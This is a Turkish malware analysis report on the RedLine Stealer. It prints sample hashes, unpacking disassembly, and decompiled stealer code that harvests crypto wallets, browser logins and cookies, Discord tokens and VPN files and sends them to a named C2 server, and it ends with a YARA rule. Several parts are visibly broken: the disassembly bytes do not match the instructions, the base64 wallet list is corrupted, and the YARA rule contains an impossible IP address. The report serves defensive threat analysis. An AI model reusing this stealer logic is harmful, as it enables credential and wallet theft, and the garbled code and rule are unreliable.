



# RedLine Stealer Teknik Analiz Raporu

Hazırlayan  
Fatma Nur GÖZÜKÜÇÜK

# İçindekiler

<b>Giriş:</b>	<b>3</b>
<b>Ön İnceleme</b>	<b>3</b>
<b>Network Analizi</b>	<b>8</b>
<b>Çözüm Önerileri</b>	<b>9</b>
<b>Yara Kuralı:</b>	<b>9</b>

## Giriş:

İlk olarak 2020'de gözlemlenen ve çeşitli siber suç forumlarında 'Hizmet Olarak Kötü

Amaçlı Yazılım' (MaaS) tehdidi olarak reklamı yapılan **Redline Stealer**, esas olarak Windows'un kurban kimlik bilgilerini ve kripto para cüzdanlarını, ayrıca Tarayıcı bilgilerini, FTP bağlantılarını hedefleyen bir bilgi hırsızıdır. Geçen yıl boyunca, Redline ek özelliklerle eklendi ve diğer kötü amaçlı yazılımları yükleyebilir ve komutları çalıştırabilirken, düzenli aralıklarla C2'sine virüslü ana bilgisayarla ilgili yeni bilgiler güncellemeleri gönderir.

Sabit bir dağıtım yönteminin bulunmadığı ve yakın zamanda gözlemlenen Redline olaylarının, ayırım gözetmeyen istenmeyen e-posta (malspam) kampanyası ile yayıldığı görülmektedir. Bununla birlikte Twitter ve Instagram Doğrudan Mesajlaşma yoluyla gönderilen kötü niyetli belge eklerinin de Redline yayılımında kullanıldığı bilinmektedir.

Çoğunlukla 3D sanatçılar, yayıncılar ve finansal danışmanlar danışmanlar Redline'in hedefindedir. Ülke bazında Redline çoğunlukla, Kuzey Amerika ve Avrupa'da bulunan hizmet veya içerik sağlayıcılarını hedefliyor.

## Ön İnceleme:

İncelenen versiyondaki **RedLine** zararlısı bir phishing yöntemiyle yayılmayı sürdürmüştür.

Dosya Adı:	j1Oi3nCd6p.exe
MD5	933cb968ae718f5224e936df26c48b13
SHA1	c3e8d290b1953e43a940dc237b812060a941061e
SHA256	ce2588f91dbe64909a46cc7f9fa3a03f8fec292c0b5f701ac46f58a1edd78599

Zararlı pack'li şekilde indirilmektedir. Zararlı runtime anında kendini unpack etmektedir. VirtualProtect API ile son aşaması tamamlanmaktadır.

```
004802B0 73 1C 39E 4802CE mov eax, dword ptr ss:[ebp-10]
004802B2 8645 F0 add eax, dword ptr ss:[ebp-8]
004802B5 0385 48FFFFFF add ecx, dword ptr ss:[ebp-A8]
004802B8 8880 58FFFFFF add ecx, dword ptr ss:[ebp-88]
004802C1 0380 48FFFFFF mov cl, byte ptr ds:[ecx+3A]
004802C7 8449 3A mov byte ptr ds:[ecx+3A], cl
004802CA 8808 JMP 4802D8
004802CC 8D45 E0 lea eax, dword ptr ss:[ebp-20]
004802D1 50 push eax
004802D2 6A 40 push 40
004802D4 8B85 58FFFFFF mov eax, dword ptr ss:[ebp-A8]
004802DA FF70 0A push dword ptr ds:[eax+A]
004802D9 FB85 50FFFFFF push dword ptr ss:[ebp-80]
004802E3 FF55 D8 CALL dword ptr ss:[ebp-28]
004802E6 8945 F4 mov dword ptr ss:[ebp-C], eax
004802E9 8B85 50FFFFFF mov eax, dword ptr ss:[ebp-80]
004802EF 8985 68FFFFFF mov dword ptr ss:[ebp-98], eax
004802F5 8B85 58FFFFFF mov eax, dword ptr ss:[ebp-A8]
004802FB FF70 0A push dword ptr ds:[eax+A]
004802FE 6A 00 push 0
00480300 FB85 50FFFFFF push dword ptr ss:[ebp-80]
00480306 E8 C3090000 CALL 48030E
00480308 83C4 0C add esp, c
0048030E 8845 F0 mov eax, dword ptr ss:[ebp-10]
00480311 8945 C8 mov dword ptr ss:[ebp-18], eax
00480314 8845 C8 mov eax, dword ptr ss:[ebp-38]
00480317 8840 3C mov eax, dword ptr ds:[eax+3C]
0048031A 8840 F0 mov ecx, dword ptr ss:[ebp-10]
```

Registers: EAX: 00480E16, EBX: 00000000, ECX: 0002F000, EDX: 00083C38, EBP: 0018C884, ESP: 001888A4, ESI: 0018CE10, EDI: 00000038, EIP: 004802E3

Status: EFLAGS: 00000246, ZF: 1, PF: 1, AF: 0, OF: 0, SF: 0, DF: 0, CF: 0, TF: 0, IF: 1

Last Error: 00000000 (ERROR\_SUCCESS)

Varsayılan (stdcall) 5 Kilitli

1: [esp] 00400000 hello.00400000  
2: [esp+4] 00033000 <&ldr.GetProcedureAddress>  
3: [esp+8] 00000040  
4: [esp+C] 0018C894  
5: [esp+10] 00000000

dword ptr [ebp-28]=[0018C88C <&virtualprotect>]=<kernel32.VirtualProtect>

MD5	28bc3feb52432548f94bf365b27f7e7d
SHA1	a001a6c5013d833b11ba1fa95bc024557bdd072f
SHA256	35ef60e1ee1c9f1a873580ea0b1bcb8dd4143f6cf71fc2025ba8383e1310fb67

Unpack edilmiş zararlı ilk olarak bilgisayardaki verileri toplamaktadır.

```
public static void asdk9345asd(EndpointConnection connection, ScanningArgs settings, ref ScanResult result)
{
    List<SystemHardware> list = new List<SystemHardware>();
    foreach (SystemHardware item in SystemInfoHelper.GetProcessors())
    {
        list.Add(item);
    }
    foreach (SystemHardware item2 in SystemInfoHelper.GetGraphicCards())
    {
        list.Add(item2);
    }
    list.Add(new SystemHardware
    {
        Name = new string(new char[]
        {
            'T',
            'o',
            't',
            'a',
            'l',
            ' ',
            'o',
            'f',
            ' ',
            'R',
            'A',
            'M'
        })
    });
}
```

Zararlı GetFolderPath ile bilgisayardaki wallet.dat dosyalarını bulup bir listeye atmaktadır. Bu listeyi kaydedip ileride sunucuya yollayacaktır.

```
list2.AddRange(FileCopier.FindPaths(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), 2, 1, new string[]
{
    new string(new char[]
    {
        'w',
        'a',
        'l',
        'l',
        'e',
        't',
        ' ',
        'd',
        'a',
        't',
        ' ',
        's',
        't',
        'r',
        'i',
        'n',
        'g',
        's'
    })
}).Replace("asf", string.Empty),
```

Daha sonra Zararlı yazılım AppData//Local içinde, içerisinde wallet geçen klasörleri aramaktadır.

```
foreach (string fileName in list2)
{
    string tag = new FileInfo(fileName).Directory.FullName.Replace(Environment.GetFolderPath(
        Environment.SpecialFolder.ApplicationData) + "\\", string.Empty).Replace(Environment.GetFolderPath(
        Environment.SpecialFolder.LocalApplicationData) + "\\", string.Empty).Split(new char[]
    {
        '\\',
    })[0];
    list.Add(new FileScannerArg
    {
        Tag = tag,
        Directory = new FileInfo(fileName).Directory.FullName,
        Pattern = "*wallet*",
        Recursive = false
    });
}
```

Zararlı yazılım, GetFolderPath ile bilgisayardaki “Binance” dosyalarını bulup bir listeye atmaktadır. Bu listeyi kaydedip ileride sunucuya yollayacaktır.

```
public Binance()
{
    base.Name = "Binance";
}

// Token: 0x060000A5 RID: 165 RVA: 0x00006EC4 File Offset: 0x000050C4
public override string GetFolder(FileScannerArg scannerArg, FileInfo filePath)
{
    return filePath.Directory.FullName.Replace(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\", string.Empty);
}

// Token: 0x060000A6 RID: 166 RVA: 0x00006EEC File Offset: 0x000050EC
public override IEnumerable<FileScannerArg> GetScanArgs()
{
    List<FileScannerArg> list = new List<FileScannerArg>();
    try
    {
        string directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Binance";
        list.Add(new FileScannerArg
        {
            Directory = directory,
            Pattern = "*app-store*",
            Recursive = false
        });
    }
    catch
    {
    }
    return list;
}
```

Zararlı yazılım, özellikle aramak istenilen Walletları base64 ile tutmaktadır.

```

public void Init(IList<string> browserPaths)
{
    this.Locals = new List<string>(browserPaths ?? new List<string>());
    this.PathsCollection = from x in Encoding.UTF8.GetString(Convert.FromBase64String(
        ("ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoaWhhamJ8W9yb21XYWxsZXQKaWJuzWpkZmptbWtWY25scGVia2xtbmtvZW9paG9mZW9hVHJvbmVpaw1ubW
        piamxNYWxoY2VsZ2JlamluaWR8TmlmdH1XYWxsZXQKbmtiaWmYmVvZ2F1YW91aGx1Zm5rb2RiZlZncGd-rbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbW
        NmbGN8TWf0aFdhbGx1dApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb21uYmFzZ0pmaGJvaGl4YWVsYm9ocGpiYmkkY25nY25hcG5kb2RqcHxCaW5hbmN1Q2hhaW
        4Kb2RiZnBlZWl0ZGtiaWhbtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHbnbGZoz2ZuaGJncGpkZW5qZ21kZ291aWfWcGFmbG58R3VhcmlRbVZfSbGV0CmJsbm1laWlmZm
        JvaWxsa25qbmlvub2dqGtnbm9hcGFjFEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm51fEpeHh4TG1iZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZm
        djbWhmam5tbnZwaXCaXRBCHBXWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYm9nZnBwZmp8aVdhbGx1dAphbWttampbtWZsZGRvZ21ocGpsb21taXBib2ZuZmpaHxXb2
        1iYXQKZmhpbgFoZWl1Z2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbW1jv2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtFE1ld0N4Cm5hbmtZGtuaGtpbm
        lmbmtNzGNzZ2NmbmhhkYWftbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhJY25pbWlnfFhhdHVyblDhbGx1dApmbmpobWtoag1rYmpra2FibmRjbm5vZ2
        Fnb2dibmV1Y3x5b25pb1dHbGx1dAphalWlYm5iZm9icG1lZWtpcGh1ZWlqaW1keG5scGdwcHxUZKJyYVNOYXRpb24KZm5uZWdwaGxvYmpteGtoZWnhcGtpampka2djamhradJ8Sg
        Fybw9ueVdhbGx1dAphZWFjaGtuBwVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb21u0ThXYWxsZXQKY2d1ZW9kcGZlZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbA
        pwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuzm51cGJua3xLYXJkaWFDaGFpbG=="`)).Split(new string[]
        {
            "\n",
            Environment.NewLine
        }, StringSplitOptions.RemoveEmptyEntries)
        select new KeyValuePair<string, string>(x.Split(new char[]
        {
            '.'
        })[0], x.Split(new char[]
        {
            '.'
        })[1]);
}

```

Özellikle aramak istenen Walletlar;

YoroiWallet	MathWallet	Wombat	TerraStation
NiftyWallet	GuardaWallet	AtomicWallet	HarmonyWallet
Tronlink	EqualWallet	MewCx	Coin98Wallet
Metamask	JaxxxLiberty	GuildWallet	TonCrystal
BinanceChain	BitAppWallet	SaturnWallet	KardiaChain
Coinbase	iWallet	RoninWallet	BraveWallet

Zararlı yazılım, FindPaths ile Browser verilerini aramaktadır.

```

foreach (string text in FileCopier.FindPaths(baseDirectory, 1, 1, new string[]
{
    new string(new char[]
    {
        'L',
        'o',
        'g',
        'i',
        'n',
        'D',
        'a',
        't',
        'a'
    })
    },
    new string(new char[]
    {
        'W',
        'e',
        'b',
        'D',
        'a',
        't',
        'a'
    })
    },
    new string(new char[]
    {
        'C',
        'o',
        'k',
        'i',
        'e',
        's'
    })
    })

```

Zararlı yazılım, çalıştığı anda o an cihazda çalışan yürütülebilir dosyaların bir listesini almaktadır.

```
319 public static void MainAsync(EndpointConnection connection, ScanningArgs settings, ref ScanResult result)
320 {
321     ApiResponse apiResponse = connection.TryInitProcesses(SystemInfoHelper.ListOfProcesses());
322     if (apiResponse == ApiResponse.RepeatPart)
323     {
100 %
Vereller
İsim Değer Tip
SystemInfoHelper.ListOfProcesses döndü Count = 0x0000002D System.Collections.Generic.List<str...
[0] "ID: 1084, Name: csrss.exe, CommandLine: " string
[1] "ID: 268, Name: winlogon.exe, CommandLine: " string
[2] "ID: 2508, Name: taskhost.exe, CommandLine: \"taskhost.exe\" string
[3] @ "ID: 2100, Name: dwm.exe, CommandLine: \"C:\Windows\system32\D... string
[4] @ "ID: 2960, Name: explorer.exe, CommandLine: C:\Windows\Explorer.E... string
[5] @ "ID: 1984, Name: wintoolservice.exe, CommandLine: \"C:\Windows\Sys... string
[6] @ "ID: 1680, Name: jusched.exe, CommandLine: \"C:\Program Files (x86)\... string
[7] @ "ID: 3908, Name: ProcessHacker.exe, CommandLine: \"C:\Users\zorro\... string
[8] @ "ID: 4028, Name: jucheck.exe, CommandLine: \"C:\Program Files (x86)\... string
[9] @ "ID: 1220, Name: chrome.exe, CommandLine: \"C:\Program Files\Goog... string
[10] @ "ID: 3900, Name: chrome.exe, CommandLine: \"C:\Program Files\Goog... string
[11] @ "ID: 1320, Name: chrome.exe, CommandLine: \"C:\Program Files\Goog... string
[12] @ "ID: 2436, Name: chrome.exe, CommandLine: \"C:\Program Files\Goog... string
[13] @ "ID: 2620, Name: chrome.exe, CommandLine: \"C:\Program Files\Goog... string
[14] @ "ID: 1648, Name: CFF Explorer.exe, CommandLine: \"C:\Users\zorro\De... string
```

Zararlı yazılım, Discord verilerini çalmaya çalışmaktadır.

```
public static void MainAsync(EndpointConnection connection, ScanningArgs settings, ref ScanResult result)
{
    if (settings.ScanDiscord)
    {
        IEnumerable<ScannedFile> tokens = Discord.GetTokens();
        ApiResponse apiResponse = connection.TryInitDiscord((tokens != null) ? tokens.ToList<ScannedFile>() : null);
        if (apiResponse == ApiResponse.RepeatPart)
        {
            ByPartSender.MainAsync(connection, settings, ref result);
        }
        if (apiResponse == ApiResponse.NotFound)
        {
            throw new InvalidOperationException();
        }
    }
}
```

Zararlı yazılım, cihazda NordVPN, OpenVPN veya ProtonVPN varsa verilerini çalmak için klasörlerini aramaktadır.

```
public static void MainAsync(EndpointConnection connection, ScanningArgs settings, ref ScanResult result)
{
    if (settings.ScanVPN)
    {
        connection.TryInitNordVPN(NordApp.Find());
        connection.TryInitOpenVPN(FileScanning.Search(new FileScanner[]
        {
            new OpenVPN()
        }));
        connection.TryInitProtonVPN(FileScanning.Search(new FileScanner[]
        {
            new ProtonVPN()
        }));
    }
}
```

İstenilen dosya yakalandığında bu dosyaların bütün byteları okunarak TEMP klasörü altında bir dosyaya yazılır.

```

public ScannedFile(string filename)
{
    this.NameOfFile = new FileInfo(filename).Name;
    using (FileCopier fileCopier = new FileCopier())
    {
        this.Body = File.ReadAllBytes(fileCopier.CreateShadowCopy(filename));
    }
}

```

Daha sonra oluşturulan bu dosyaları silmektedir

```

[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B27.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B27.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B28.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B28.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B27.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B29.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3A.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3A.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B29.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3B.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3C.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3C.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3B.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3D.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B4D.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B3D.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B5E.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B5F.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B5F.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B5E.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B60.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B61.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B61.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B60.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B71.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B72.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B72.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B71.tmp
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B73.tmp [File no longer exists]
[CreateFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B74.tmp [File no longer exists]
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B74.tmp
[DeleteFile] helo.exe: 3968 > %LocalAppData%\Temp\tmp9B73.tmp

```

Bu veriler toplandıktan sonra aşağıdaki görselde gözüken “185[.]215[.]113[.]119” adresli C2 sunucusuna göndermektedir.

```

36         foreach (string address in StringDecrypt.Decrypt(entry.IP, entry.Key).Split(new string[]
37             {
38                 "|"
39             }, StringSplitOptions.RemoveEmptyEntries))
40             {
41                 if (endpointConnection.RequestConnection(address) && endpointConnection.TryGetConnection())
42                 {
43                     flag = true;
44                     break;
45                 }
46             }
47             Thread.Sleep(5000);

```

İsim	Değer	Tip
flag	false	bool
settings	null	ScanningArgs
scanResult	(ScanResult)	ScanResult
identitySenderBase	null	IdentitySenderBase
user	(ScanResult)	ScanResult
tasks	null	System.Collections.Generic.IList<U...
array	(string[0x00000001])	string[]
i	0x00000000	int
address	"185.215.113.119:15548"	string

## Network Analizi:

Zararlı yazılım, bilindiği üzere cihazdan çaldığı bilgileri uzak sunucuya göndermektedir. Aşağıdaki görsel de bu adresleri görebilirsiniz.

helo.exe	1808	TCP	win-H1kdn79p8...	63983	185.215.113.119	15548	ESTABLISHED
helo.exe	1808	TCP	win-H1kdn79p8...	63984	104.26.13.31	https	ESTABLISHED

Zararlı yazılım, Browser geçmişlerini aşağıdaki gibi çalıp TCP üzerinden göndermektedir.





Web-Browser hırsızlığı işlevlerinin tümü, başarılı bir tehdit aktörü tarafından, şirket cihazlarından sızmadan önce önemli bilgileri ve verileri çıkarmak için kullanılabilir.

## Yara Kuralı:

```
import "hash"
import "pe"
rule FirstFile{

strings:
  $str1="GetUpdates"
  $str2="InstalledSoftwares"
  $str3="ListOfProcces "
  $str4="GetFolderPath "
  $str5="104.265.13.31"
  $str6="185.215.113.119"

condition:
  hash.md5(0,filesize) == "933cb968ae718f5224e936df26c48b13" or all of them
}
```